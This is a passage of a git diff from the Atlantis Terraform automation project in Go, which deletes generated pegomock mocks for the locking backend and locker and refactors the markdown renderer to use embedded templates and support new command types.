[]pegomock.Param{project, workspace} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetLock", params, []reflect.Type{reflect.TypeOf((**models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 *models.ProjectLock - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(*models.ProjectLock) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 -} - -func (mock *MockBackend) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockBackend().") - } - params := []pegomock.Param{repoFullName, pullNum} - result := pegomock.GetGenericMockFrom(mock).Invoke("UnlockByPull", params, []reflect.Type{reflect.TypeOf((*[]models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 []models.ProjectLock - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].([]models.ProjectLock) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 -} - -func (mock *MockBackend) VerifyWasCalledOnce() *VerifierMockBackend { - return &VerifierMockBackend{ - mock: mock, - invocationCountMatcher: pegomock.Times(1), - } -} - -func (mock *MockBackend) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockBackend { - return &VerifierMockBackend{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - } -} - -func (mock *MockBackend) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockBackend { - return &VerifierMockBackend{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - inOrderContext: inOrderContext, - } -} - -func (mock *MockBackend) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockBackend { - return &VerifierMockBackend{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - timeout: timeout, - } -} - -type VerifierMockBackend struct { - mock *MockBackend - invocationCountMatcher pegomock.Matcher - inOrderContext *pegomock.InOrderContext - timeout time.Duration -} - -func (verifier *VerifierMockBackend) TryLock(lock models.ProjectLock) *MockBackend_TryLock_OngoingVerification { - params := []pegomock.Param{lock} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "TryLock", params, verifier.timeout) - return &MockBackend_TryLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockBackend_TryLock_OngoingVerification struct { - mock *MockBackend - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockBackend_TryLock_OngoingVerification) GetCapturedArguments() models.ProjectLock { - lock := c.GetAllCapturedArguments() - return lock[len(lock)-1] -} - -func (c *MockBackend_TryLock_OngoingVerification) GetAllCapturedArguments() (_param0 []models.ProjectLock) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.ProjectLock, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.ProjectLock) - } - } - return -} - -func (verifier *VerifierMockBackend) Unlock(project models.Project, workspace string) *MockBackend_Unlock_OngoingVerification { - params := []pegomock.Param{project, workspace} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Unlock", params, verifier.timeout) - return &MockBackend_Unlock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockBackend_Unlock_OngoingVerification struct { - mock *MockBackend - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockBackend_Unlock_OngoingVerification) GetCapturedArguments() (models.Project, string) { - project, workspace := c.GetAllCapturedArguments() - return project[len(project)-1], workspace[len(workspace)-1] -} - -func (c *MockBackend_Unlock_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Project, _param1 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Project, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Project) - } - _param1 = make([]string, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(string) - } - } - return -} - -func (verifier *VerifierMockBackend) List() *MockBackend_List_OngoingVerification { - params := []pegomock.Param{} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "List", params, verifier.timeout) - return &MockBackend_List_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockBackend_List_OngoingVerification struct { - mock *MockBackend - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockBackend_List_OngoingVerification) GetCapturedArguments() { -} - -func (c *MockBackend_List_OngoingVerification) GetAllCapturedArguments() { -} - -func (verifier *VerifierMockBackend) GetLock(project models.Project, workspace string) *MockBackend_GetLock_OngoingVerification { - params := []pegomock.Param{project, workspace} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetLock", params, verifier.timeout) - return &MockBackend_GetLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockBackend_GetLock_OngoingVerification struct { - mock *MockBackend - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockBackend_GetLock_OngoingVerification) GetCapturedArguments() (models.Project, string) { - project, workspace := c.GetAllCapturedArguments() - return project[len(project)-1], workspace[len(workspace)-1] -} - -func (c *MockBackend_GetLock_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Project, _param1 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Project, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Project) - } - _param1 = make([]string, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(string) - } - } - return -} - -func (verifier *VerifierMockBackend) UnlockByPull(repoFullName string, pullNum int) *MockBackend_UnlockByPull_OngoingVerification { - params := []pegomock.Param{repoFullName, pullNum} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UnlockByPull", params, verifier.timeout) - return &MockBackend_UnlockByPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockBackend_UnlockByPull_OngoingVerification struct { - mock *MockBackend - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockBackend_UnlockByPull_OngoingVerification) GetCapturedArguments() (string, int) { - repoFullName, pullNum := c.GetAllCapturedArguments() - return repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1] -} - -func (c *MockBackend_UnlockByPull_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []int) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) - } - _param1 = make([]int, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(int) - } - } - return -} diff --git a/server/events/locking/mocks/mock_locker.go b/server/events/locking/mocks/mock_locker.go deleted file mode 100644 index d0341c0ccf..0000000000 --- a/server/events/locking/mocks/mock_locker.go +++ /dev/null @@ -1,300 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -// Source: github.com/runatlantis/atlantis/server/events/locking (interfaces: Locker) - -package mocks - -import ( - pegomock "github.com/petergtz/pegomock" - locking "github.com/runatlantis/atlantis/server/events/locking" - models "github.com/runatlantis/atlantis/server/events/models" - "reflect" - "time" -) - -type MockLocker struct { - fail func(message string, callerSkip ...int) -} - -func NewMockLocker(options ...pegomock.Option) *MockLocker { - mock := &MockLocker{} - for _, option := range options { - option.Apply(mock) - } - return mock -} - -func (mock *MockLocker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } -func (mock *MockLocker) FailHandler() pegomock.FailHandler { return mock.fail } - -func (mock *MockLocker) TryLock(p models.Project, workspace string, pull models.PullRequest, user models.User) (locking.TryLockResponse, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockLocker().") - } - params := []pegomock.Param{p, workspace, pull, user} - result := pegomock.GetGenericMockFrom(mock).Invoke("TryLock", params, []reflect.Type{reflect.TypeOf((*locking.TryLockResponse)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 locking.TryLockResponse - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(locking.TryLockResponse) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 -} - -func (mock *MockLocker) Unlock(key string) (*models.ProjectLock, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockLocker().") - } - params := []pegomock.Param{key} - result := pegomock.GetGenericMockFrom(mock).Invoke("Unlock", params, []reflect.Type{reflect.TypeOf((**models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 *models.ProjectLock - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(*models.ProjectLock) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 -} - -func (mock *MockLocker) List() (map[string]models.ProjectLock, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockLocker().") - } - params := []pegomock.Param{} - result := pegomock.GetGenericMockFrom(mock).Invoke("List", params, []reflect.Type{reflect.TypeOf((*map[string]models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 map[string]models.ProjectLock - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(map[string]models.ProjectLock) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 -} - -func (mock *MockLocker) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockLocker().") - } - params := []pegomock.Param{repoFullName, pullNum} - result := pegomock.GetGenericMockFrom(mock).Invoke("UnlockByPull", params, []reflect.Type{reflect.TypeOf((*[]models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 []models.ProjectLock - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].([]models.ProjectLock) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 -} - -func (mock *MockLocker) GetLock(key string) (*models.ProjectLock, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockLocker().") - } - params := []pegomock.Param{key} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetLock", params, []reflect.Type{reflect.TypeOf((**models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 *models.ProjectLock - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(*models.ProjectLock) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 -} - -func (mock *MockLocker) VerifyWasCalledOnce() *VerifierMockLocker { - return &VerifierMockLocker{ - mock: mock, - invocationCountMatcher: pegomock.Times(1), - } -} - -func (mock *MockLocker) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockLocker { - return &VerifierMockLocker{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - } -} - -func (mock *MockLocker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockLocker { - return &VerifierMockLocker{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - inOrderContext: inOrderContext, - } -} - -func (mock *MockLocker) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockLocker { - return &VerifierMockLocker{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - timeout: timeout, - } -} - -type VerifierMockLocker struct { - mock *MockLocker - invocationCountMatcher pegomock.Matcher - inOrderContext *pegomock.InOrderContext - timeout time.Duration -} - -func (verifier *VerifierMockLocker) TryLock(p models.Project, workspace string, pull models.PullRequest, user models.User) *MockLocker_TryLock_OngoingVerification { - params := []pegomock.Param{p, workspace, pull, user} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "TryLock", params, verifier.timeout) - return &MockLocker_TryLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockLocker_TryLock_OngoingVerification struct { - mock *MockLocker - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockLocker_TryLock_OngoingVerification) GetCapturedArguments() (models.Project, string, models.PullRequest, models.User) { - p, workspace, pull, user := c.GetAllCapturedArguments() - return p[len(p)-1], workspace[len(workspace)-1], pull[len(pull)-1], user[len(user)-1] -} - -func (c *MockLocker_TryLock_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Project, _param1 []string, _param2 []models.PullRequest, _param3 []models.User) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Project, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Project) - } - _param1 = make([]string, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(string) - } - _param2 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(models.PullRequest) - } - _param3 = make([]models.User, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(models.User) - } - } - return -} - -func (verifier *VerifierMockLocker) Unlock(key string) *MockLocker_Unlock_OngoingVerification { - params := []pegomock.Param{key} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Unlock", params, verifier.timeout) - return &MockLocker_Unlock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockLocker_Unlock_OngoingVerification struct { - mock *MockLocker - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockLocker_Unlock_OngoingVerification) GetCapturedArguments() string { - key := c.GetAllCapturedArguments() - return key[len(key)-1] -} - -func (c *MockLocker_Unlock_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) - } - } - return -} - -func (verifier *VerifierMockLocker) List() *MockLocker_List_OngoingVerification { - params := []pegomock.Param{} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "List", params, verifier.timeout) - return &MockLocker_List_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockLocker_List_OngoingVerification struct { - mock *MockLocker - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockLocker_List_OngoingVerification) GetCapturedArguments() { -} - -func (c *MockLocker_List_OngoingVerification) GetAllCapturedArguments() { -} - -func (verifier *VerifierMockLocker) UnlockByPull(repoFullName string, pullNum int) *MockLocker_UnlockByPull_OngoingVerification { - params := []pegomock.Param{repoFullName, pullNum} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UnlockByPull", params, verifier.timeout) - return &MockLocker_UnlockByPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockLocker_UnlockByPull_OngoingVerification struct { - mock *MockLocker - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockLocker_UnlockByPull_OngoingVerification) GetCapturedArguments() (string, int) { - repoFullName, pullNum := c.GetAllCapturedArguments() - return repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1] -} - -func (c *MockLocker_UnlockByPull_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []int) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) - } - _param1 = make([]int, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(int) - } - } - return -} - -func (verifier *VerifierMockLocker) GetLock(key string) *MockLocker_GetLock_OngoingVerification { - params := []pegomock.Param{key} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetLock", params, verifier.timeout) - return &MockLocker_GetLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockLocker_GetLock_OngoingVerification struct { - mock *MockLocker - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockLocker_GetLock_OngoingVerification) GetCapturedArguments() string { - key := c.GetAllCapturedArguments() - return key[len(key)-1] -} - -func (c *MockLocker_GetLock_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) - } - } - return -} diff --git a/server/events/markdown_renderer.go b/server/events/markdown_renderer.go index 0c9ed6188f..e685122b08 100644 --- a/server/events/markdown_renderer.go +++ b/server/events/markdown_renderer.go @@ -15,160 +15,401 @@ package events import ( "bytes" + "embed" "fmt" "strings" "text/template" - "github.com/Masterminds/sprig" + "github.com/Masterminds/sprig/v3" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" + "golang.org/x/text/cases" + "golang.org/x/text/language" ) -const ( - planCommandTitle = "Plan" - applyCommandTitle = "Apply" +var ( + planCommandTitle = command.Plan.TitleString() + applyCommandTitle = command.Apply.TitleString() + policyCheckCommandTitle = command.PolicyCheck.TitleString() + approvePoliciesCommandTitle = command.ApprovePolicies.TitleString() + versionCommandTitle = command.Version.TitleString() + importCommandTitle = command.Import.TitleString() + stateCommandTitle = command.State.TitleString() // maxUnwrappedLines is the maximum number of lines the Terraform output // can be before we wrap it in an expandable template. maxUnwrappedLines = 12 + + //go:embed templates/* + templatesFS embed.FS ) // MarkdownRenderer renders responses as markdown. type MarkdownRenderer struct { - // GitlabSupportsCommonMark is true if the version of GitLab we're + // gitlabSupportsCommonMark is true if the version of GitLab we're // using supports the CommonMark markdown format. // If we're not configured with a GitLab client, this will be false. - GitlabSupportsCommonMark bool - DisableApplyAll bool - DisableApply bool - DisableMarkdownFolding bool + gitlabSupportsCommonMark bool + disableApplyAll bool + disableApply bool + disableMarkdownFolding bool + disableRepoLocking bool + enableDiffMarkdownFormat bool + markdownTemplates *template.Template + executableName string + hideUnchangedPlanComments bool + quietPolicyChecks bool } // commonData is data that all responses have. type commonData struct { - Command string - Verbose bool - Log string - PlansDeleted bool - DisableApplyAll bool - DisableApply bool + Command string + SubCommand string + Verbose bool + Log string + PlansDeleted bool + DisableApplyAll bool + DisableApply bool + DisableRepoLocking bool + EnableDiffMarkdownFormat bool + ExecutableName string + HideUnchangedPlanComments bool + QuietPolicyChecks bool + VcsRequestType string } // errData is data about an error response. type errData struct { - Error string + Error string + RenderedContext string commonData } // failureData is data about a failure response. type failureData struct { - Failure string + Failure string + RenderedContext string commonData } -// resultData is data about a successful response. type resultData struct { Results []projectResultTmplData commonData } +type planResultData struct { + Results []projectResultTmplData + commonData + NumPlansWithChanges int + NumPlansWithNoChanges int + NumPlanFailures int +} + +type applyResultData struct { + Results []projectResultTmplData + commonData + NumApplySuccesses int + NumApplyFailures int + NumApplyErrors int +} + type planSuccessData struct { models.PlanSuccess - PlanWasDeleted bool - DisableApply bool + PlanSummary string + PlanWasDeleted bool + DisableApply bool + DisableRepoLocking bool + EnableDiffMarkdownFormat bool + PlanStats models.PlanSuccessStats +} + +type policyCheckResultsData struct { + models.PolicyCheckResults + PreConftestOutput string + PostConftestOutput string + PolicyCheckSummary string + PolicyApprovalSummary string + PolicyCleared bool + commonData } type projectResultTmplData struct { - Workspace string - RepoRelDir string - ProjectName string - Rendered string + Workspace string + RepoRelDir string + ProjectName string + Rendered string + NoChanges bool + IsSuccessful bool +} + +// Initialize templates +func NewMarkdownRenderer( + gitlabSupportsCommonMark bool, + disableApplyAll bool, + disableApply bool, + disableMarkdownFolding bool, + disableRepoLocking bool, + enableDiffMarkdownFormat bool, + markdownTemplateOverridesDir string, + executableName string, + hideUnchangedPlanComments bool, + quietPolicyChecks bool, +) *MarkdownRenderer { + var templates *template.Template + templates, _ = template.New("").Funcs(sprig.TxtFuncMap()).ParseFS(templatesFS, "templates/*.tmpl") + if overrides, err := templates.ParseGlob(fmt.Sprintf("%s/*.tmpl", markdownTemplateOverridesDir)); err == nil { + // doesn't override if templates directory doesn't exist + templates = overrides + } + return &MarkdownRenderer{ + gitlabSupportsCommonMark: gitlabSupportsCommonMark, + disableApplyAll: disableApplyAll, + disableMarkdownFolding: disableMarkdownFolding, + disableApply: disableApply, + disableRepoLocking: disableRepoLocking, + enableDiffMarkdownFormat: enableDiffMarkdownFormat, + markdownTemplates: templates, + executableName: executableName, + hideUnchangedPlanComments: hideUnchangedPlanComments, + quietPolicyChecks: quietPolicyChecks, + } } // Render formats the data into a markdown string. // nolint: interfacer -func (m *MarkdownRenderer) Render(res CommandResult, cmdName models.CommandName, log string, verbose bool, vcsHost models.VCSHostType) string { - commandStr := strings.Title(cmdName.String()) +func (m *MarkdownRenderer) Render(ctx *command.Context, res command.Result, cmd PullCommand) string { + commandStr := cases.Title(language.English).String(strings.Replace(cmd.CommandName().String(), "_", " ", -1)) + var vcsRequestType string + if ctx.Pull.BaseRepo.VCSHost.Type == models.Gitlab { + vcsRequestType = "Merge Request" + } else { + vcsRequestType = "Pull Request" + } + common := commonData{ - Command: commandStr, - Verbose: verbose, - Log: log, - PlansDeleted: res.PlansDeleted, - DisableApplyAll: m.DisableApplyAll || m.DisableApply, - DisableApply: m.DisableApply, + Command: commandStr, + SubCommand: cmd.SubCommandName(), + Verbose: cmd.IsVerbose(), + Log: ctx.Log.GetHistory(), + PlansDeleted: res.PlansDeleted, + DisableApplyAll: m.disableApplyAll || m.disableApply, + DisableApply: m.disableApply, + DisableRepoLocking: m.disableRepoLocking, + EnableDiffMarkdownFormat: m.enableDiffMarkdownFormat, + ExecutableName: m.executableName, + HideUnchangedPlanComments: m.hideUnchangedPlanComments, + QuietPolicyChecks: m.quietPolicyChecks, + VcsRequestType: vcsRequestType, } + + templates := m.markdownTemplates + if res.Error != nil { - return m.renderTemplate(unwrappedErrWithLogTmpl, errData{res.Error.Error(), common}) + return m.renderTemplateTrimSpace(templates.Lookup("unwrappedErrWithLog"), errData{res.Error.Error(), "", common}) } if res.Failure != "" { - return m.renderTemplate(failureWithLogTmpl, failureData{res.Failure, common}) + return m.renderTemplateTrimSpace(templates.Lookup("failureWithLog"), failureData{res.Failure, "", common}) } - return m.renderProjectResults(res.ProjectResults, common, vcsHost) + return m.renderProjectResults(ctx, res.ProjectResults, common) } -func (m *MarkdownRenderer) renderProjectResults(results []models.ProjectResult, common commonData, vcsHost models.VCSHostType) string { +func (m *MarkdownRenderer) renderProjectResults(ctx *command.Context, results []command.ProjectResult, common commonData) string { + vcsHost := ctx.Pull.BaseRepo.VCSHost.Type + var resultsTmplData []projectResultTmplData numPlanSuccesses := 0 + numPolicyCheckSuccesses := 0 + numPolicyApprovalSuccesses := 0 + numVersionSuccesses := 0 + numPlansWithChanges := 0 + numPlansWithNoChanges := 0 + numApplySuccesses := 0 + numApplyFailures := 0 + numApplyErrors := 0 + + templates := m.markdownTemplates for _, result := range results { resultData := projectResultTmplData{ - Workspace: result.Workspace, - RepoRelDir: result.RepoRelDir, - ProjectName: result.ProjectName, + Workspace: result.Workspace, + RepoRelDir: result.RepoRelDir, + ProjectName: result.ProjectName, + IsSuccessful: result.IsSuccessful(), } - if result.Error != nil { - tmpl := unwrappedErrTmpl - if m.shouldUseWrappedTmpl(vcsHost, result.Error.Error()) { - tmpl = wrappedErrTmpl + if result.PlanSuccess != nil { + result.PlanSuccess.TerraformOutput = strings.TrimSpace(result.PlanSuccess.TerraformOutput) + data := planSuccessData{ + PlanSuccess: *result.PlanSuccess, + PlanWasDeleted: common.PlansDeleted, + DisableApply: common.DisableApply, + DisableRepoLocking: common.DisableRepoLocking, + EnableDiffMarkdownFormat: common.EnableDiffMarkdownFormat, + PlanStats: result.PlanSuccess.Stats(), } - resultData.Rendered = m.renderTemplate(tmpl, struct { - Command string - Error string - }{ - Command: common.Command, - Error: result.Error.Error(), - }) - } else if result.Failure != "" { - resultData.Rendered = m.renderTemplate(failureTmpl, struct { - Command string - Failure string - }{ - Command: common.Command, - Failure: result.Failure, - }) - } else if result.PlanSuccess != nil { if m.shouldUseWrappedTmpl(vcsHost, result.PlanSuccess.TerraformOutput) { - resultData.Rendered = m.renderTemplate(planSuccessWrappedTmpl, planSuccessData{PlanSuccess: *result.PlanSuccess, PlanWasDeleted: common.PlansDeleted, DisableApply: common.DisableApply}) + data.PlanSummary = result.PlanSuccess.Summary() + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("planSuccessWrapped"), data) + } else { + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("planSuccessUnwrapped"), data) + } + resultData.NoChanges = result.PlanSuccess.NoChanges() + if result.PlanSuccess.NoChanges() { + numPlansWithNoChanges++ } else { - resultData.Rendered = m.renderTemplate(planSuccessUnwrappedTmpl, planSuccessData{PlanSuccess: *result.PlanSuccess, PlanWasDeleted: common.PlansDeleted, DisableApply: common.DisableApply}) + numPlansWithChanges++ } numPlanSuccesses++ + } else if result.PolicyCheckResults != nil && common.Command == policyCheckCommandTitle { + policyCheckResults := policyCheckResultsData{ + PreConftestOutput: result.PolicyCheckResults.PreConftestOutput, + PostConftestOutput: result.PolicyCheckResults.PostConftestOutput, + PolicyCheckResults: *result.PolicyCheckResults, + PolicyCheckSummary: result.PolicyCheckResults.Summary(), + PolicyApprovalSummary: result.PolicyCheckResults.PolicySummary(), + PolicyCleared: result.PolicyCheckResults.PolicyCleared(), + commonData: common, + } + if m.shouldUseWrappedTmpl(vcsHost, result.PolicyCheckResults.CombinedOutput()) { + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("policyCheckResultsWrapped"), policyCheckResults) + } else { + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("policyCheckResultsUnwrapped"), policyCheckResults) + } + if result.Error == nil && result.Failure == "" { + numPolicyCheckSuccesses++ + } + } else if result.PolicyCheckResults != nil && common.Command == approvePoliciesCommandTitle { + policyCheckResults := policyCheckResultsData{ + PolicyCheckResults: *result.PolicyCheckResults, + PolicyCheckSummary: result.PolicyCheckResults.Summary(), + PolicyApprovalSummary: result.PolicyCheckResults.PolicySummary(), + PolicyCleared: result.PolicyCheckResults.PolicyCleared(), + commonData: common, + } + if m.shouldUseWrappedTmpl(vcsHost, result.PolicyCheckResults.CombinedOutput()) { + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("policyCheckResultsWrapped"), policyCheckResults) + } else { + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("policyCheckResultsUnwrapped"), policyCheckResults) + } + if result.Error == nil && result.Failure == "" { + numPolicyApprovalSuccesses++ + } } else if result.ApplySuccess != "" { + output := strings.TrimSpace(result.ApplySuccess) if m.shouldUseWrappedTmpl(vcsHost, result.ApplySuccess) { - resultData.Rendered = m.renderTemplate(applyWrappedSuccessTmpl, struct{ Output string }{result.ApplySuccess}) + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("applyWrappedSuccess"), struct{ Output string }{output}) } else { - resultData.Rendered = m.renderTemplate(applyUnwrappedSuccessTmpl, struct{ Output string }{result.ApplySuccess}) + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("applyUnwrappedSuccess"), struct{ Output string }{output}) } - } else { + numApplySuccesses++ + } else if result.VersionSuccess != "" { + output := strings.TrimSpace(result.VersionSuccess) + if m.shouldUseWrappedTmpl(vcsHost, output) { + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("versionWrappedSuccess"), struct{ Output string }{output}) + } else { + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("versionUnwrappedSuccess"), struct{ Output string }{output}) + } + numVersionSuccesses++ + } else if result.ImportSuccess != nil { + result.ImportSuccess.Output = strings.TrimSpace(result.ImportSuccess.Output) + if m.shouldUseWrappedTmpl(vcsHost, result.ImportSuccess.Output) { + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("importSuccessWrapped"), result.ImportSuccess) + } else { + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("importSuccessUnwrapped"), result.ImportSuccess) + } + } else if result.StateRmSuccess != nil { + result.StateRmSuccess.Output = strings.TrimSpace(result.StateRmSuccess.Output) + if m.shouldUseWrappedTmpl(vcsHost, result.StateRmSuccess.Output) { + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("stateRmSuccessWrapped"), result.StateRmSuccess) + } else { + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("stateRmSuccessUnwrapped"), result.StateRmSuccess) + } + // Error out if no template was found, only if there are no errors or failures. + // This is because some errors and failures rely on additional context rendered by templates, but not all errors or failures. + } else if !(result.Error != nil || result.Failure != "") { resultData.Rendered = "Found no template. This is a bug!" } + // Render error or failure templates. Done outside of previous block so that other context can be rendered for use here. + if result.Error != nil { + tmpl := templates.Lookup("unwrappedErr") + if m.shouldUseWrappedTmpl(vcsHost, result.Error.Error()) { + tmpl = templates.Lookup("wrappedErr") + } + resultData.Rendered = m.renderTemplateTrimSpace(tmpl, errData{result.Error.Error(), resultData.Rendered, common}) + if common.Command == applyCommandTitle { + numApplyErrors++ + } + } else if result.Failure != "" { + resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("failure"), 